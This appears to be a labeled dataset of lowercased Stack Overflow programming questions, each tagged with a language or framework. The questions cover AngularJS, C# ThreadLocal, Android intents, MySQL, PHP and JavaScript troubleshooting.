using angularjs checkbox is not updating after ajax call  i have this checkbox   <pre><code>          &lt;input type= checkbox             ng-change= defaultmsgshandler(vuser.use_managed_default_msgs)             ng-model= vuser.use_managed_default_msgs             ng-true-value=1 ng-false-value=0&gt; </code></pre>   when i make this ajax call  the checkbox does not reflect the ajax retured has vuser.use_managed_default_msgs set to 1  but the checkbox is not checked. i know the model is correct. vuser.use_managed_default_msgs is a 1 if i dump vuser to the console.   <pre><code>    messageservices.getmessagesettingsinfo(user.dir)                     .then(function(data) {                         if (!data.success) {                             $scope.errormessage = data.errors;                         } else {                             $scope.vuser = data.vuser;                             $scope.messages = data.messages;                         }                     }  function(error) {                         alert(error);                     }); </code></pre>   if i click on the checkbox defaultmsgshandler changed the model correctly  and the checkbox checks and unchecks.    <pre><code>    $scope.defaultmsgshandler = function( use_managed_default_msgs ){         $scope.vuser.use_managed_default_msgs = use_managed_default_msgs;     }; </code></pre>   thanks for any help,angularjs
properties file vs constants class in java  i am a bit confused between using a constants file and properties file in java.    how to decide when to use <em>constants.java</em> and when to use a <em>.properties</em> file,java
script error in site debugging source  sanitizing site s html and javascript  i ve got these errors in the console:   <pre><code>uwvey_vsqqu:1 get chrome-extension://boadgeojelhgndaghljhdicfkmllpafd/cast_sender.js net::err_failed  device=browser:1 get chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm/cast_sender.js net::err_failed  device=browser:1 get chrome-extension://enhhojjnijigcajfphajepfemndkmdlo/cast_sender.js net::err_failed  device=browser:1 get chrome-extension://fmfcbgogabcbclcofgocippekhfcmgfj/cast_sender.js net::err_failed </code></pre>   the link doesn t lead to a valid page and can t find any file on google with the names.,javascript
threadlocal<socket> what if connection lost   i have fairly theoretical question regarding <code>threadlocal&lt;t&gt;</code>  my t can become unusable due to events that occasionally take place in surrounding world  such as connection loss. any ideas on how to reset threadlocal value  relative to a thread where the object got unusable  without reseting whole <code>threadlocal&lt;t&gt;</code> object     by the way   <ul> <li> my context is asp.net mvc  i do something similar to <code>threadlocal&lt;databaseconnection&gt;</code> (there are good reasons to do that in my case)  </li> <li> so  solutions that make user looking at exception like  bang! your program faulted  cuz developer that written this program is a braindead zombie  are not an option... </li> </ul>   have a good time with this puzzle and thank you in advance.    <strong>edit:</strong> imagine a web server which has a pool of 8 threads that handles 512 client requests per minute  i m using the above solution to limit the amount of open connections to 8 connections per minute  rather than creating 512 of them within same period of time...    <strong>edit:</strong> here is the source related to my problem  i m asking my self a question  what if connection to database lost in some specific thread  how would i recreate and re-set it inside threadlocal:    <strong>public class eloquerathreadlocalinstancefactory</strong>   <pre><code>public class eloquerathreadlocalinstancefactory {     property&lt;db&gt; database;      private db createinstance()     {         var db = new db(connectionstring);          try         {             db.opendatabase(databasename);         }         catch (filenotfoundexception)         {             db.createdatabase(databasename);             db.opendatabase(databasename);         }          return db;     }      public eloquerathreadlocalinstancefactory(string connectionstring  string databasename  params action&lt;db&gt;[] initializers)     {         databasename = databasename;         connectionstring = connectionstring;          database = new threadlocalpropertyvalue&lt;db&gt;(createinstance  initializers);     }      public string databasename { get; private set; }     public string connectionstring { get; private set; }      public db getinstance()     {         return database;     } } </code></pre>   <strong>public class property { ... }</strong>   <pre><code>public class property&lt;t&gt; {     private propertyvalue&lt;t&gt; propertyvalue;      protected virtual void onafterset()     {         if (afterset != null)         {             afterset(this  null);         }     }     protected virtual void onbeforeget(eventargs&lt;t&gt; eventargs)     {         if (beforeget != null)         {             beforeget(this  eventargs);         }     }     protected virtual void onbeforeset(cancellableeventargs&lt;propertyvalue&lt;t&gt;&gt; e)     {         if (beforeset != null)         {             beforeset(this  e);         }     }      public property()     {      }     public property(propertyvalue&lt;t&gt; propertyvalue)     {         this.propertyvalue = propertyvalue;     }      public void reset()     {         propertyvalue = null;     }      // isset is required to be implemented via method to prevent it from being serialized     public boolean isset()      {         return propertyvalue != null;     }      // value property is required for serialization purposes     public t value     {         get { return get(); }         set { set(new staticpropertyvalue&lt;t&gt;(value)); }     }      protected void setraw(propertyvalue&lt;t&gt; propertyvalue)     {         this.propertyvalue = propertyvalue;     }      protected virtual t get()     {         var eventargs = new eventargs&lt;t&gt;(propertyvalue.getpropertyvalueinternal());          onbeforeget(eventargs);          return eventargs.value;     }     protected virtual void set(propertyvalue&lt;t&gt; propertyvalue)     {         var eventargs = new cancellableeventargs&lt;propertyvalue&lt;t&gt;&gt;(propertyvalue);          onbeforeset(eventargs);          this.propertyvalue = propertyvalue;          if (!eventargs.cancel)         {             setraw(propertyvalue);              onafterset();         }     }      public event eventhandler afterset;     public event eventhandler&lt;eventargs&lt;t&gt;&gt; beforeget;     public event eventhandler&lt;cancellableeventargs&lt;propertyvalue&lt;t&gt;&gt;&gt; beforeset;      public static implicit operator t(property&lt;t&gt; property)     {         return property == null   default(t) : property.get();     }      public static implicit operator property&lt;t&gt;(t value)     {         return new property&lt;t&gt;(new staticpropertyvalue&lt;t&gt;(value));     }     public static implicit operator property&lt;t&gt;(func&lt;t&gt; value)     {         return new property&lt;t&gt;(new lazypropertyvalue&lt;t&gt;(value));     }     public static implicit operator property&lt;t&gt;(propertyvalue&lt;t&gt; value)     {         return new property&lt;t&gt;(value);     }     public static implicit operator propertyvalue&lt;t&gt;(property&lt;t&gt; property)     {         return property.propertyvalue;     }      /***************************************************************************************************/      public static property&lt;t&gt; operator &lt;=(property&lt;t&gt; property  func&lt;t&gt; propertyvalue)     {         if (property != null)         {             property.set(new lazypropertyvalue&lt;t&gt;(propertyvalue));         }         else         {             return new property&lt;t&gt;(new lazypropertyvalue&lt;t&gt;(propertyvalue));         }          return property;     }     public static property&lt;t&gt; operator &gt;=(property&lt;t&gt; property  func&lt;t&gt; propertyvalue)     {         property.set(new lazypropertyvalue&lt;t&gt;(propertyvalue));          return property;     }      public static property&lt;t&gt; operator &lt;=(property&lt;t&gt; property  propertyvalue&lt;t&gt; propertyvalue)     {         if (property != null)         {             property.set(propertyvalue);         }         else         {             return new property&lt;t&gt;(propertyvalue);         }          return property;     }     public static property&lt;t&gt; operator &gt;=(property&lt;t&gt; property  propertyvalue&lt;t&gt; propertyvalue)     {         property.set(propertyvalue);          return property;     }      public static property&lt;t&gt; operator &lt;=(property&lt;t&gt; property  lazypropertyvalue&lt;t&gt; propertyvalue)     {         if (property != null)         {             property.set(propertyvalue);         }         else         {             return new property&lt;t&gt;(propertyvalue);         }          return property;     }     public static property&lt;t&gt; operator &gt;=(property&lt;t&gt; property  lazypropertyvalue&lt;t&gt; propertyvalue)     {         property.set(propertyvalue);          return property;     }      public static property&lt;t&gt; operator &lt;=(property&lt;t&gt; property  staticpropertyvalue&lt;t&gt; propertyvalue)     {         if (property != null)         {             property.set(propertyvalue);         }         else         {             return new property&lt;t&gt;(propertyvalue);         }          return property;     }     public static property&lt;t&gt; operator &gt;=(property&lt;t&gt; property  staticpropertyvalue&lt;t&gt; propertyvalue)     {         property.set(propertyvalue);          return property;     }      /***************************************************************************************************/      public static property&lt;t&gt; operator &lt;(property&lt;t&gt; property  func&lt;t&gt; propertyvalue)     {         if (property != null)         {             property.setraw(new lazypropertyvalue&lt;t&gt;(propertyvalue));         }         else         {             return new property&lt;t&gt;(new lazypropertyvalue&lt;t&gt;(propertyvalue));         }          return property;     }     public static property&lt;t&gt; operator &gt;(property&lt;t&gt; property  func&lt;t&gt; propertyvalue)     {         property.setraw(new lazypropertyvalue&lt;t&gt;(propertyvalue));          return property;     }      public static property&lt;t&gt; operator &lt;(property&lt;t&gt; property  propertyvalue&lt;t&gt; propertyvalue)     {         if (property != null)         {             property.setraw(propertyvalue);         }         else         {             return new property&lt;t&gt;(propertyvalue);         }          return property;     }     public static property&lt;t&gt; operator &gt;(property&lt;t&gt; property  propertyvalue&lt;t&gt; propertyvalue)     {         property.setraw(propertyvalue);          return property;     }      public static property&lt;t&gt; operator &lt;(property&lt;t&gt; property  lazypropertyvalue&lt;t&gt; propertyvalue)     {         if (property != null)         {             property.setraw(propertyvalue);         }         else         {             return new property&lt;t&gt;(propertyvalue);         }          return property;     }     public static property&lt;t&gt; operator &gt;(property&lt;t&gt; property  lazypropertyvalue&lt;t&gt; propertyvalue)     {         property.setraw(propertyvalue);          return property;     }      public static property&lt;t&gt; operator &lt;(property&lt;t&gt; property  staticpropertyvalue&lt;t&gt; propertyvalue)     {         if (property != null)         {             property.setraw(propertyvalue);         }         else         {             return new property&lt;t&gt;(propertyvalue);         }          return property;     }     public static property&lt;t&gt; operator &gt;(property&lt;t&gt; property  staticpropertyvalue&lt;t&gt; propertyvalue)     {         property.setraw(propertyvalue);          return property;     }  }  public abstract class propertyvalue&lt;t&gt; {     protected abstract t getpropertyvalue();      internal t getpropertyvalueinternal()     {         return getpropertyvalue();     } }  public class initializablepropertyvalue&lt;t&gt; : propertyvalue&lt;t&gt; {     private func&lt;t&gt; func;     private action&lt;t&gt;[] initializers;      public initializablepropertyvalue(func&lt;t&gt; func  params action&lt;t&gt;[] initializers)     {         if (func == null) throw new argumentnullexception( func );         if (initializers == null) throw new argumentnullexception( initializers );          this.func = func;         this.initializers = initializers;     }      protected override t getpropertyvalue()     {         var result = func();          foreach (var initializer in initializers)         {             initializer(result);         }          return result;     } }  public class staticpropertyvalue&lt;t&gt; : propertyvalue&lt;t&gt; {     private t value;      public staticpropertyvalue(t value)     {         this.value = value;     }      protected override t getpropertyvalue()     {         return value;     }      public static implicit operator staticpropertyvalue&lt;t&gt;(t value)     {         return new staticpropertyvalue&lt;t&gt;(value);     } }  public class lazypropertyvalue&lt;t&gt; : initializablepropertyvalue&lt;t&gt; {     private lazy&lt;t&gt; lazy;      public lazypropertyvalue(func&lt;t&gt; valuefactory)         : base(valuefactory)     {         this.lazy = new lazy&lt;t&gt;(base.getpropertyvalue  false);     }     public lazypropertyvalue(func&lt;t&gt; valuefactory  boolean isthreadsafe)         : base(valuefactory)     {         this.lazy = new lazy&lt;t&gt;(base.getpropertyvalue  isthreadsafe);     }     public lazypropertyvalue(func&lt;t&gt; valuefactory  lazythreadsafetymode mode)         : base(valuefactory)     {         this.lazy = new lazy&lt;t&gt;(base.getpropertyvalue  mode);     }      public lazypropertyvalue(func&lt;t&gt; valuefactory  params action&lt;t&gt;[] initializers)         : base(valuefactory  initializers)     {         this.lazy = new lazy&lt;t&gt;(base.getpropertyvalue  false);     }     public lazypropertyvalue(func&lt;t&gt; valuefactory  boolean isthreadsafe  params action&lt;t&gt;[] initializers)         : base(valuefactory  initializers)     {         this.lazy = new lazy&lt;t&gt;(base.getpropertyvalue  isthreadsafe);     }     public lazypropertyvalue(func&lt;t&gt; valuefactory  lazythreadsafetymode mode  params action&lt;t&gt;[] initializers)         : base(valuefactory  initializers)     {         this.lazy = new lazy&lt;t&gt;(base.getpropertyvalue  mode);     }      public boolean isinitialized     {         get { return lazy.isvaluecreated; }     }      protected override t getpropertyvalue()     {         return lazy.value;     }      public static implicit operator lazypropertyvalue&lt;t&gt;(func&lt;t&gt; value)     {         return new lazypropertyvalue&lt;t&gt;(value);     } }  public class threadlocalpropertyvalue&lt;t&gt; : initializablepropertyvalue&lt;t&gt; {     threadlocal&lt;t&gt; threadlocal;      public threadlocalpropertyvalue(func&lt;t&gt; func  params action&lt;t&gt;[] initializers)         : base(func  initializers)     {         this.threadlocal = new threadlocal&lt;t&gt;(base.getpropertyvalue);     }      protected override t getpropertyvalue()     {         return threadlocal.value;     } }  public class dynamicpropertyvalue&lt;t&gt; : propertyvalue&lt;t&gt; {     func&lt;t&gt; func;      public dynamicpropertyvalue(func&lt;t&gt; func)     {         this.func = func;     }      protected override t getpropertyvalue()     {         return func();     } } </code></pre>,.net
issuing intent to call activity along with parameters  i m trying to send parameters string through putextra function to the activity from the service  i have this code for my <code>server.java</code>:   <pre><code>package com.winacro.andrhome;  import java.util.calendar;  import android.app.activity; import android.app.alarmmanager; import android.app.pendingintent; import android.app.service; import android.bluetooth.bluetoothadapter; import android.bluetooth.bluetoothdevice; import android.content.context; import android.content.intent; import android.os.binder; import android.os.bundle; import android.os.handler; import android.os.ibinder; import android.os.message; import android.util.log; import android.view.keyevent; import android.view.menu; import android.view.menuinflater; import android.view.menuitem; import android.view.view; import android.view.window; import android.view.view.onclicklistener; import android.view.inputmethod.editorinfo; import android.widget.arrayadapter; import android.widget.textview; import android.widget.toast; import android.widget.togglebutton;  public class server extends service{      ibinder mbinder = new localbinder();          @override     public ibinder onbind(intent intent) {         return mbinder;     }      public class localbinder extends binder {         public server getserverinstance() {             return server.this;         }     }      public void switchspeaker(int hr  int min){          toast.maketext(server.this  hr +      +min  toast.length_long).show();          string sendmessage =  1 ;         /* intent myintent = new intent(server.this  andrhome.class);         myintent.putextra( sendmessage   1 );         startactivity(myintent);         pendingintent pi = pendingintent.getservice(server.this  0  myintent  0);         alarmmanager almmgr = (alarmmanager) getsystemservice(alarm_service);         calendar cldr = calendar.getinstance();         int min1 = cldr.get(calendar.minute);         cldr.settimeinmillis(system.currenttimemillis());         cldr.add(calendar.second  30);         almmgr.set(alarmmanager.rtc_wakeup  cldr.gettimeinmillis()  pi);*/     }  } </code></pre>   and this is the code for the activity of whose <code>sendmessage()</code> method i want to access or pass in string variables too but my app is getting crashed  kindly help here!   <pre><code>package com.winacro.andrhome;  import android.app.activity; import android.app.application; import android.bluetooth.bluetoothadapter; import android.bluetooth.bluetoothdevice; import android.content.broadcastreceiver; import android.content.intent; import android.content.res.configuration; import android.os.bundle; import android.os.handler; import android.os.message; import android.util.log; import android.view.keyevent; import android.view.menu; import android.view.menuinflater; import android.view.menuitem; import android.view.view; import android.view.window; import android.view.view.onclicklistener; import android.view.inputmethod.editorinfo; import android.widget.arrayadapter; import android.widget.button; import android.widget.edittext; import android.widget.listview; import android.widget.textview; import android.widget.toast; import android.widget.togglebutton;  /**  * this is the main activity that displays the current chat session.  */ public class andrhome extends activity {     // debugging     private static final string tag =  andrhome ;     private static final boolean d = true;      // message types sent from the bluetoothchatservice handler     public static final int message_state_change = 1;     public static final int message_read = 2;     public static final int message_write = 3;     public static final int message_device_name = 4;     public static final int message_toast = 5;      // key names received from the bluetoothchatservice handler     public static final string device_name =  device_name ;     public static final string toast =  toast ;      // intent request codes     private static final int request_connect_device_secure = 1;     private static final int request_connect_device_insecure = 2;     private static final int request_enable_bt = 3;      string inp;      // layout views     private textview mtitle;     //private listview mconversationview;     //private edittext moutedittext;     //private button msendbutton;     private togglebutton tb1;     private togglebutton tb2;     private togglebutton tb3;     private togglebutton tb4;     // name of the connected device     private string mconnecteddevicename = null;     // array adapter for the conversation thread     private arrayadapter&lt;string&gt; mconversationarrayadapter;     // string buffer for outgoing messages      public stringbuffer moutstringbuffer;     // local bluetooth adapter     private bluetoothadapter mbluetoothadapter = null;     // member object for the chat services     public bluetoothchatservice mchatservice = null;        @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         if(d) log.e(tag   +++ on create +++ );          // set up the window layout         requestwindowfeature(window.feature_custom_title);         setcontentview(r.layout.main);         getwindow().setfeatureint(window.feature_custom_title  r.layout.custom_title);         // set up the custom title         mtitle = (textview) findviewbyid(r.id.title_left_text);         mtitle.settext(r.string.app_name);         mtitle = (textview) findviewbyid(r.id.title_right_text);          // get local bluetooth adapter         mbluetoothadapter = bluetoothadapter.getdefaultadapter();         // if the adapter is null  then bluetooth is not supported         if (mbluetoothadapter == null) {             toast.maketext(this   bluetooth is not available   toast.length_long).show();             finish();             return;         }         bundle bundle = getintent().getextras();         inp = bundle.getstring( sendmessage );         sendmessage(inp);      }      @override     public void onstart() {         super.onstart();         if(d) log.e(tag   ++ on start ++ );          // if bt is not on  request that it be enabled.         // setupchat() will then be called during onactivityresult         if (!mbluetoothadapter.isenabled()) {             intent enableintent = new intent(bluetoothadapter.action_request_enable);             startactivityforresult(enableintent  request_enable_bt);         // otherwise  setup the chat session         } else {             if (mchatservice == null) setupchat();         }     }      @override     public synchronized void onresume() {         super.onresume();         if(d) log.e(tag   + on resume + );          // performing this check in onresume() covers the case in which bt was         // not enabled during onstart()  so we were paused to enable it...         // onresume() will be called when action_request_enable activity returns.         if (mchatservice != null) {             // only if the state is state_none  do we know that we haven t started already             if (mchatservice.getstate() == bluetoothchatservice.state_none) {               // start the bluetooth chat services               mchatservice.start();             }         }     }      private void setupchat() {         log.d(tag   setupchat() );          // initialize the array adapter for the conversation thread         mconversationarrayadapter = new arrayadapter&lt;string&gt;(this  r.layout.message);         //mconversationview = (listview) findviewbyid(r.id.in);        // mconversationview.setadapter(mconversationarrayadapter);          // initialize the compose field with a listener for the return key         //moutedittext = (edittext) findviewbyid(r.id.edit_text_out);        // moutedittext.setoneditoractionlistener(mwritelistener);          // initialize the send button with a listener that for click events         //msendbutton = (button) findviewbyid(r.id.button_send);         /*msendbutton.setonclicklistener(new onclicklistener() {             public void onclick(view v) {                 // send a message using content of the edit text widget                 //textview view = (textview) findviewbyid(r.id.edit_text_out);                 string message =  0 ;                 sendmessage(message);             }         });*/          tb1 = (togglebutton) findviewbyid(r.id.togglebutton1);         tb1.setonclicklistener(new onclicklistener() {             public void onclick(view v){                 if (tb1.ischecked()){                     string message =  1 ;                     sendmessage(message);                 } else if (!tb1.ischecked()){                     string message =  6 ;                     sendmessage(message);                 }             }         });         tb2 = (togglebutton) findviewbyid(r.id.togglebutton01);         tb2.setonclicklistener(new onclicklistener() {             public void onclick(view v){                 if (tb2.ischecked()){                     string message =  0 ;                     sendmessage(message);                 } else if (!tb2.ischecked()){                     string message =  5 ;                     sendmessage(message);                 }             }         });         tb3 = (togglebutton) findviewbyid(r.id.togglebutton02);         tb3.setonclicklistener(new onclicklistener() {             public void onclick(view v){                 if (tb3.ischecked()){                     string message =  2 ;                     sendmessage(message);                 } else if (!tb3.ischecked()){                     string message =  7 ;                     sendmessage(message);                 }             }         });         tb4 = (togglebutton) findviewbyid(r.id.togglebutton03);         tb4.setonclicklistener(new onclicklistener() {             public void onclick(view v){                 if (tb4.ischecked()){                     string message =  3 ;                     sendmessage(message);                 } else if (!tb4.ischecked()){                     string message =  8 ;                     sendmessage(message);                 }             }         });         // initialize the bluetoothchatservice to perform bluetooth connections         mchatservice = new bluetoothchatservice(this  mhandler);          // initialize the buffer for outgoing messages         moutstringbuffer = new stringbuffer(  );     }      @override     public synchronized void onpause() {         super.onpause();         if(d) log.e(tag   - on pause - );     }      @override     public void onstop() {         super.onstop();         if(d) log.e(tag   -- on stop -- );     }      @override     public void ondestroy() {         super.ondestroy();         // stop the bluetooth chat services         if (mchatservice != null) mchatservice.stop();         if(d) log.e(tag   --- on destroy --- );     }      private void ensurediscoverable() {         if(d) log.d(tag   ensure discoverable );         if (mbluetoothadapter.getscanmode() !=             bluetoothadapter.scan_mode_connectable_discoverable) {             intent discoverableintent = new intent(bluetoothadapter.action_request_discoverable);             discoverableintent.putextra(bluetoothadapter.extra_discoverable_duration  300);             startactivity(discoverableintent);         }     }      /**      * sends a message.      * @param message  a string of text to send.      */     private void sendmessage(string message) {         // check that we re actually connected before trying anything         if (mchatservice.getstate() != bluetoothchatservice.state_connected) {             toast.maketext(this  r.string.not_connected  toast.length_short).show();             return;         }          // check that there s actually something to send         if (message.length() &gt; 0) {             // get the message bytes and tell the bluetoothchatservice to write             byte[] send = message.getbytes();             mchatservice.write(send);              // reset out string buffer to zero and clear the edit text field             moutstringbuffer.setlength(0);             //moutedittext.settext(moutstringbuffer);         }     }      // the action listener for the edittext widget  to listen for the return key     private textview.oneditoractionlistener mwritelistener =         new textview.oneditoractionlistener() {         public boolean oneditoraction(textview view  int actionid  keyevent event) {             // if the action is a key-up event on the return key  send the message             if (actionid == editorinfo.ime_null &amp;&amp; event.getaction() == keyevent.action_up) {                 string message = view.gettext().tostring();                 sendmessage(message);             }             if(d) log.i(tag   end oneditoraction );             return true;         }     };      // the handler that gets information back from the bluetoothchatservice     private final handler mhandler = new handler() {         @override         public void handlemessage(message msg) {             switch (msg.what) {             case message_state_change:                 if(d) log.i(tag   message_state_change:   + msg.arg1);                 switch (msg.arg1) {                 case bluetoothchatservice.state_connected:                     mtitle.settext(r.string.title_connected_to);                     mtitle.append(mconnecteddevicename);                     mconversationarrayadapter.clear();                     break;                 case bluetoothchatservice.state_connecting:                     mtitle.settext(r.string.title_connecting);                     break;                 case bluetoothchatservice.state_listen:                 case bluetoothchatservice.state_none:                     mtitle.settext(r.string.title_not_connected);                     break;                 }                 break;             case message_write:                 byte[] writebuf = (byte[]) msg.obj;                 // construct a string from the buffer                 string writemessage = new string(writebuf);                 mconversationarrayadapter.add( me:    + writemessage);                 break;             case message_read:                 byte[] readbuf = (byte[]) msg.obj;                 // construct a string from the valid bytes in the buffer                 string readmessage = new string(readbuf  0  msg.arg1);                 mconversationarrayadapter.add(mconnecteddevicename+ :    + readmessage);                 break;             case message_device_name:                 // save the connected device s name                 mconnecteddevicename = msg.getdata().getstring(device_name);                 toast.maketext(getapplicationcontext()   connected to                                  + mconnecteddevicename  toast.length_short).show();                 break;             case message_toast:                 toast.maketext(getapplicationcontext()  msg.getdata().getstring(toast)                                 toast.length_short).show();                 break;             }         }     };      public void onactivityresult(int requestcode  int resultcode  intent data) {         if(d) log.d(tag   onactivityresult   + resultcode);         switch (requestcode) {         case request_connect_device_secure:             // when devicelistactivity returns with a device to connect             if (resultcode == activity.result_ok) {                 connectdevice(data  true);             }             break;         case request_connect_device_insecure:             // when devicelistactivity returns with a device to connect             if (resultcode == activity.result_ok) {                 connectdevice(data  false);             }             break;         case request_enable_bt:             // when the request to enable bluetooth returns             if (resultcode == activity.result_ok) {                 // bluetooth is now enabled  so set up a chat session                 setupchat();             } else {                 // user did not enable bluetooth or an error occured                 log.d(tag   bt not enabled );                 toast.maketext(this  r.string.bt_not_enabled_leaving  toast.length_short).show();                 finish();             }         }     }      private void connectdevice(intent data  boolean secure) {         // get the device mac address         string address = data.getextras()             .getstring(devicelistactivity.extra_device_address);         // get the bluetoothdevice object         bluetoothdevice device = mbluetoothadapter.getremotedevice(address);         // attempt to connect to the device         mchatservice.connect(device  secure);     }      @override     public boolean oncreateoptionsmenu(menu menu) {         menuinflater inflater = getmenuinflater();         inflater.inflate(r.menu.option_menu  menu);         return true;     }      @override     public boolean onoptionsitemselected(menuitem item) {         intent serverintent = null;         switch (item.getitemid()) {         case r.id.scan:             // launch the devicelistactivity to see devices and do scan             serverintent = new intent(this  devicelistactivity.class);             startactivityforresult(serverintent  request_connect_device_secure);             return true;         case r.id.timer:             // launch the devicelistactivity to see devices and do scan             intent myintent = new intent( com.winacro.andrhome.timer );             startactivity(myintent);             return true;         /*case r.id.discoverable:             // ensure this device is discoverable by others             ensurediscoverable();             return true;*/         }         return false;     } } </code></pre>,android
android custom recurring events in calendar  i have gone through some of the links and i got to know how to insert an event to the calendar app of android (rather than creating my own calendar). now  i need to create a event which repeats every tuesday and thursday but i don t have the option of selecting such a choice. so how can i do that programmatically     any help would be greatly appreciated.,android
enable alerts for mysql long running queries  my application is loading very slow. after doing some research i got to know that mysql is causing this slowness. i have around 15-20 users that access this server. after preliminary investigation (googling and stackoverflow)  i found out that they were some queries running at the time and those were the culprit. it’s annoying to run query every now and then to look out for the queries running for a long time. is there a workaround for this and also get email/sms alerts for it. how can i enable email/sms alerts to look over those queries,mysql
how to remove string from the end of foreach loop  can i remove the <code>or</code> from the end of <code>foreach</code> loop        <pre><code>if (isset($_post[ size ])) {                     $where .=   and  ;                     $s = $_post[ size ];                     $end = count($s);                      foreach ($s as $ss) {                         $where .=  psize=  . $ss;                         $where .=   or  ;                     }                  } else {                     $s =   ;                 } </code></pre>,php
updating instead of inserting if the row already exists  i m facing an issue with sql at the moment  i have got a relation between two columns in a table like this they are linked together as an unique key (id  charid) and using that relation i want to determine if i want to insert it or not  so if the following already exists    <code>[charid: 1  id: 1]</code>    i want to update it instead of inserting a new row  however if we insert a row like this and charid 1  id 1 already exists  that s ok and we can insert it.    <code>[charid: 1  id: 1]</code>     how can i correctly do this  i heard this could be done by using restrictions with the columns.,mysql
where is the linked library located for ios project  i am new to ios development. i know that for ios project in build phases there maybe linked with .framework file  .a file and .dylib  i know that .framework file is located in iphone file system  so where is .a file and .dylib file located after project built and run  are they  built in the bundle resource,ios
iphone sdk - using the speaker / clicker / beeper on a 1st gen ipod  my current need is to provide an audio cue for an application with a timer  that would work on 1st gen ipods (i.e. ipods without a speaker).    i know that the bundled clock application of the ipod can use the internal speaker/beeper/clicker to show that the timer has run out.    is there an api to interact with this speaker,iphone
jquery .live() method by class selector and die method by id selector  i ve a  problem  with .live() and .die() methods. i m using jquery 1.5.1. here is my scenario   <pre><code>&lt;div id= div1  class= myclass &gt;link 1&lt;/div&gt; &lt;div id= div2  class= myclass &gt;link 2&lt;/div&gt; &lt;div id= div3  class= myclass &gt;link 3&lt;/div&gt; </code></pre>   and my jquery script   <pre><code>$( .myclass ).live( click   function(evt) {    local.href =  home.aspx  }); </code></pre>   for some reason i want to disable link 2 so i ve tried to do this   <pre><code>$( #div2 ).die( click ); </code></pre>   but it doesn t seem to works fine. i think that if i add an event using class selector i can t remove the same event using id selector. i must use .live() method because i don t know how many div i ll have in my page.    anyone have any suggestions to  fix  this problem,jquery
how can i publish c# web project   how can i publish c# web project,c#
uitableview has a custom section header view which disappears  the tableview  custom table header  and custom section headers are loaded from a nib. the tableview is grouped.     when the view loads  the first section header doesn t show up. if i scroll down  the other section headers will appear at first  but will disappear as soon as the section above them touches the top of the screen.    if i scroll back up so that a disappeared section header is off the screen  then scroll back down  it will usually reappear.    the problem is fairly consistent but not entirely- sometimes i have to scroll up and down several times to get a header to reappear. any ideas as to what could cause this,iphone
multiple updates and re-sequence rows  hi guys i need your help with multiple updates:    i have a table with 3 columns:   <pre><code>start date  seqid   name 07/07/2013  1       name1 07/09/2013  2       name2 07/11/2013  3       name3 07/15/2013  4       name4 07/20/2013  5       name5 </code></pre>   if start date 07/15/2013 is changed to 07/10/2013 then seq id 4 becomes 3 and the row becomes after 07/09/2013  seq id 2     if start date 07/09/2013 is changed to 07/16/2013 then the row is re-sequenced as number 4 and moved to above 07/20/2013:      the update would be as follows:   <pre><code>start date  seqid   name 07/07/2013  1       name1 07/11/2013  2       name3 07/15/2013  3       name4 07/16/2013  4       name2 07/20/2013  5       name5 </code></pre>   how can i re-sequence the seqid when date is updated  thanks,sql
angularjs - find element with attribute  i m new to angularjs. i ve learned that i can find elements in the dom using queries like the following:   <pre><code>var e = angular.element(document.queryselector( #id )); var e = angular.element(elem.queryselector( .classname )); </code></pre>   this is useful for finding elements by id  or by css class name. however  i need to be able to find an element using a different approach. i have an element that looks like the following:   <pre><code>&lt;div my-directive class= mycontainer &gt;...&lt;/div&gt; </code></pre>   i can t query on  mycontainer  because of how much its reused. for that reason  i would like to find any element with the attribute  my-directive . how do i search the dom and find any element that makes use of  my-directive,angularjs
where is jquery.ajax defined in the jquery source code   i m trying to find where <code>jquery.ajax()</code> is defined in their source code. however  using <code>grep</code> does not seem to work.    where is it     thank you.   <pre class= lang-bash prettyprint-override ><code>&gt; grep jquery.ajax src/* src/ajax.js:// base  constructor  for jquery.ajaxprefilter and jquery.ajaxtransport src/ajax.js:        flatoptions = jquery.ajaxsettings.flatoptions || {}; src/ajax.js:                params = jquery.param( params  jquery.ajaxsettings.traditional ); src/ajax.js:        jquery.ajax({ src/ajax.js:        return jquery.ajax({ src/ajax.js:            ajaxextend( target  jquery.ajaxsettings ); src/ajax.js:            target = jquery.ajaxsettings; src/ajax.js:            s = jquery.ajaxsetup( {}  options )  src/ajax.js:            traditional = jquery.ajaxsettings.traditional; src/ajax.js:// want to move this to jquery.ajax some day src/manipulation.js:        jquery.ajax({ </code></pre>,jquery
multiple setinterval for different elements on single page  i have different span elements. each of those elements displays a value  which is determined by a refresh() method. now i want to refresh the values of each element by using setinterval method of javascript. i have tried the following code:   <pre><code>            var i = 0;             var refresher = new array();             for(i=0;i&lt;=no_of_times;i++){                 $( #main ).append( &lt;tr&gt; );                 $( #main ).append( &lt;td&gt;value: &lt;b&gt;&lt;span id= id +i+  &gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt; );                 refresh( key   i);  //for first values                 refresher[i] = setinterval( refresh(configjson.users[i].key  i)  30000);             }             $( #main ).append( &lt;/table&gt; );         } </code></pre>   the value is displayed the first time  though it is not refreshed after 30s. what may be the reason for that,javascript
java native interface for accessing photoshop library  i need to access photoshop library.but photoshop doesn t provide library for java . but c# have this library i need to access this library from c# code into java using jni.is this possible  if possible then how is it,java
what is the disadvantages of saving images in database in android   i am making an application in which i take a picture from the camera and save in database by compressing in bytearray but i have read that in if there is various large number of images than  precessing of application may be slow by reading images from database so what is the best to store images (either in internal memory or sdcard) and display in listview      thanks,android
javascript object literal and array  i have the following javascript code:   <pre><code>ocoord = {x: null  y: null}; var astack = [];  ocoord.x = 726; ocoord.y = 52; astack.push(ocoord);  ocoord.x = 76; ocoord.y = 532; astack.push(ocoord);  ocoord.x = 716; ocoord.y = 529; astack.push(ocoord); </code></pre>   now this creates the following structure (an array of three objects).   <pre><code>array[object  object  object]; </code></pre>   however  when i try and access the properties of each object they are all coming out the same. why is this    <pre><code>alert(astack[0].x); // outputs 716 alert(astack[1].x); // outputs 716 alert(astack[2].x); // outputs 716 </code></pre>   what am i doing wrong,javascript
